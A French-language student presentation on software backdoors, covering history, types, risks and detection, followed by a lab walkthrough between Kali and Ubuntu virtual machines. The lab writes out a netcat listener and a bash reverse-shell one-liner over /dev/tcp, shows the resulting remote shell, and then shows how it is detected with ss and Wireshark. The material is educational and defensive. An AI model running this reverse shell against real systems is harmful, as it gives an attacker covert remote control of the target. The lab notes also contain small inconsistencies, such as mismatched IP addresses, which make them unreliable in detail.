

Exposé : Les Backdoors en Cybersécurité

1. Introduction

- Une **porte dérobée** est un mécanisme qui permet d'accéder à un système informatique en contournant les procédures normales d'authentification.
- Elles peuvent être créées volontairement (par des développeurs ou administrateurs) ou exploitées par des attaquants.
- Sujet important car elles représentent une menace majeure pour la sécurité des données et des infrastructures.

2. Historique et Contexte

- Les premières backdoors sont apparues dans les années 1980, souvent intégrées par des développeurs pour faciliter le débogage.
- Avec l'évolution d'Internet, elles sont devenues un outil privilégié des cybercriminels.
- Exemples célèbres :
 - **Back Orifice (1998)** : permettant de contrôler un PC à distance.
 - **SolarWinds (2020)** : attaque massive où une porte dérobée a été insérée dans une mise à jour logicielle.

3. Typologie des portes dérobées

- **Logicielles** : intégrées dans des programmes ou systèmes d'exploitation.
- **Matérielles** : présentes dans des composants physiques (firmware, circuits).
- **Réseau** : exploitant des protocoles ou services pour créer un accès caché.

4. Méthodes d'Implantation

- Exploitation de vulnérabilités.
- Injection de code malveillant.
- Utilisation de comptes cachés ou de mots de passe par défaut.
- Modification de mises à jour logicielles.

5. Conséquences et Risques

- Perte de confidentialité des données.
- Contrôle à distance d'un système.

- Vol d'informations sensibles (mots de passe, documents).
- Sabotage ou espionnage industriel.

6. Détection et Prévention

- **Détection :**
 - Analyser les processus suspects.
 - Vérification des ports ouverts (ex. avec netstat).
 - Outils IDS/IPS et antivirus.
- **Prévention :**
 - Mises à jour régulières.
 - Audits de sécurité.
 - Durcissement des systèmes (firewall, suppression des comptes inutiles).

8. Cas pratique

 Topologie du labo

Rôle	Système (VM)	Adresse IP (exemple)	Outils utilisés
Attaquant	Kali Linux	192.168.94.40	Netcat
Cible	Ubuntu	192.168.94.160	Netcat, tcpdump, ss/netstat
Réseau	VirtualBox	192.168.94.1/24	Acces par pond

1 Vérification des IP et connectivité

a. Adresse IP de la machine attaquante

```
(root@kali)-[~]
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group def
  ault qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP g
  roup default qlen 1000
    link/ether 08:00:27:1f:b7:23 brd ff:ff:ff:ff:ff:ff
    inet 192.168.94.40/24 brd 192.168.94.255 scope global dynamic noprefixrou
  te eth0
        valid_lft 3396sec preferred_lft 3396sec
    inet6 fe80::9515:d765:a402:9c9b/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

b. Adresse IP de la machine cible

```

onesime@onesime-VirtualBox:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:41:71:bf brd ff:ff:ff:ff:ff:ff
    inet 192.168.94.160/24 brd 192.168.94.255 scope global dynamic noprefixroute enp0s3
        valid_lft 2426sec preferred_lft 2426sec
    inet6 fe80::adaa:4aba:fcdb:40d7/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

```

c. Test de connectivité depuis l'attaquant

```

valid_lft forever preferred_lft forever
(root@kali)~# ping 192.168.94.160
PING 192.168.94.160 (192.168.94.160) 56(84) bytes of data.
64 bytes from 192.168.94.160: icmp_seq=1 ttl=64 time=0.345 ms
64 bytes from 192.168.94.160: icmp_seq=2 ttl=64 time=0.363 ms
64 bytes from 192.168.94.160: icmp_seq=3 ttl=64 time=0.458 ms
64 bytes from 192.168.94.160: icmp_seq=4 ttl=64 time=0.334 ms
64 bytes from 192.168.94.160: icmp_seq=5 ttl=64 time=0.324 ms
64 bytes from 192.168.94.160: icmp_seq=6 ttl=64 time=0.319 ms
^C
--- 192.168.94.160 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5110ms
rtt min/avg/max/mdev = 0.319/0.357/0.458/0.047 ms

```

d. Test de connectivité depuis la cible

```

onesime@onesime-VirtualBox:~$ ping 192.168.94.40
PING 192.168.94.40 (192.168.94.40) 56(84) bytes of data.
64 bytes from 192.168.94.40: icmp_seq=1 ttl=64 time=0.360 ms
64 bytes from 192.168.94.40: icmp_seq=2 ttl=64 time=0.430 ms
64 bytes from 192.168.94.40: icmp_seq=3 ttl=64 time=0.304 ms
^C
--- 192.168.94.40 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2051ms
rtt min/avg/max/mdev = 0.304/0.364/0.430/0.051 ms

```

Sur la machine attaquante (kali) : nc -lvnp 4444

Permet de mettre la machine en écoute sur le port 4444

```

3 packets transmitted, 3 received, 0% packet loss, time
rtt min/avg/max/mdev = 0.339/0.817/1.124/0.342 ms
(root@kali)~# nc -lvnp 4444
listening on [any] 4444 ...

```

Sur la cible (Ubuntu) : `bash -i >& /dev/tcp/192.168.56.10/4444 0>&1`

Il s'agit d'un script malveillant dont l'exécution permet à la cible de se connecter à son insu à l'attaquant

. La cible perd l'usage sa console

```
rtt min/avg/max/mdev = 0.304/0.364/0.430/0.051 ms
onesime@onesime-VirtualBox:~$ bash -i >& /dev/tcp/192.168.94.40/4444 0>&1
```

. L'attaquant obtient une console interactive qui lui permet de naviguer dans la machine cible à son gré

```
(root@kali) [~]
# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.94.40] from (UNKNOWN) [192.168.94.160] 60502
onesime@onesime-VirtualBox:~$ whoami
whoami
onesime
onesime@onesime-VirtualBox:~$ ls
ls
Bureau
Documents
Images
Modèles
Musique
Public
reverse.sh
snap
Téléchargements
Vidéos
onesime@onesime-VirtualBox:~$ pwd
pwd
/home/onesime
onesime@onesime-VirtualBox:~$
```

5 Détection côté cible

Sur la cible : `ss -tup`

Montre une connexion sortante vers 192.168.94.40:4444 (Machine cible).

```
onesime@onesime-VirtualBox:~$ ss -tup
Netid State Recv-Q Send-Q          Local Address:Port      Peer Address:Port
Process
udp    ESTAB 0        0          192.168.94.160:enp0s3:bootpc 192.168.94.46:bootps
tcp    ESTAB 0        0          192.168.94.160:60502      192.168.94.40:4444
      users:(("bash",pid=5112,fd=2),("bash",pid=5112,fd=1),("bash",pid=5112,fd=0))
onesime@onesime-VirtualBox:~$
```

Sur l'attaquant (Wireshark) : Filtre : tcp.port == 4444

.Visualisation du flux tcp

93	54.118939699	104.18.22.222	192.168.94.40	TCP	66 443 → 44
94	54.118940187	104.18.22.222	192.168.94.40	TLSv1.2	105 Applica
95	54.159619446	192.168.94.40	104.18.22.222	TCP	66 48978 →
96	54.978351892	fe80::9515:d765:a40...	ff02::2	ICMPv6	62 Router S
97	55.435718296	192.168.94.40	34.107.221.82	TCP	66 [TCP Du]
98	55.770571365	34.107.221.82	192.168.94.40	TCP	66 [TCP Du]
99	55.995507261	192.168.94.40	20.50.201.200	TLSv1.2	105 Applica
100	56.167785330	20.50.201.200	192.168.94.40	TLSv1.2	105 Applica
101	56.167831859	192.168.94.40	20.50.201.200	TCP	66 43228 →
102	59.640102943	26:64:82:2f:e6:e0	Broadcast	ARP	60 Who has